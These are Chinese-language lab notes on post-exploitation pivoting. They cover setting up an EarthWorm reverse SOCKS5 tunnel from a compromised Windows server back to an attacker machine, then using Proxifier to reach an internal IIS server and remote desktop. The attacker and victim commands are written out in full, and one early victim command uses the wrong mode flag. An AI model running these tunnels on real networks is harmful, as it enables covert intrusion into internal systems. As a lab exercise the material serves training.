EarthWorm是一款用于开启 SOCKS v5 代理服务的工具，基于标准 C 开发，可提供多平台间的转接通讯，用于复杂网络环境下的数据转发。

Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。

反向 攻击者

ew.exe -s rcsocks -l 1080 -e 8888

受害者win

ew.exe -s rcsocks -d 攻击者ip -e 8888

实验环境：

Windows Server R2 x64（192.168.70.128、10.1.1.1）Windows Server （10.1.1.2）IIS服务器EarthWormproxifier

环境搭建：

为win添加一块网卡，ip设为10.1.1.1

将win的网络选成VM1

将ip设为10.1.1.2

将win的IIS服务器写上网页内容，并且保证win能够访问到

两台机器开启均开启远程桌面

将EarthWorm上传到win上

模拟实验：

进入ew所在目录cd E:\学习资料\后渗透\day0318\ew

输入ew_for_Win.exe -s rcsocks -l 1080 -e 8888

win中输入ew.exe -s rssocks -d 192.168.0.14 -e 8888

然后proxifier代理ip设为127.0.0.1端口为1080

连接成功后会有大量数据传输

此時远程桌面也是可以连接的